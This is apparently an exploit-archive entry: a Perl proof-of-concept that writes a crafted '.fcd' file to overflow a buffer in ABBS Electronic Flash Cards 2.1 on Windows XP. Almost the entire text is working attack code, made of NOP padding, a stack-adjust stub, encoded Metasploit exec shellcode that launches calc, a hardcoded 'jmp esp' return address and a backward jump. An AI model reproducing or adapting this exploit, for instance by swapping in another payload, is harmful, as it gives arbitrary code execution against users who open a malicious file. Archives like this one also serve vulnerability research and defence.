ABBS Electronic Flash Cards 2.1 - '.fcd' Local Buffer Overflow

# Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit
# Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip
# Version: 2.1
# triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up
# Tested on: Win XP SP3 French
# Date: 14/03/2011
# Author: h1ch4m
# Email: [email protected]
# Home: http://net-effects.blogspot.com


my $file= "exploit.fcd";
my $size = 4108;

# make a room for our shellcode
my $stack = "\x31\xc0" .             # xor eax, eax
            "\xb4\x10" .             # mov ah, 10h
			"\x29\xc4" .             # sub esp, eax
			"\x90";                  # nop, 0x0a is a bad char, so i added a nop 0x0a becomes 0x09 (jump)			 

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" .
"\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" .
"\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" .
"\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" .
"\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" .
"\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" .
"\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" .
"\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" .
"\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" .
"\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" .
"\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" .
"\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" .
"\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" .
"\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" .
"\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" .
"\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5";

my $eip = pack('V', 0x7c86467b);      # jmp esp  kernel32.dll
my $nops = "\x90" x 8;

my $jump = "\xe9\x09\xff\xff\xff";    # jump back 247 bytes 

my $junk = "\x90" x ($size-length($stack.$shellcode));
open($FILE,">$file");
print $FILE $junk.$stack.$shellcode.$eip.$nops.$jump;
close($FILE);
print "Files Created successfully\n";
sleep(1);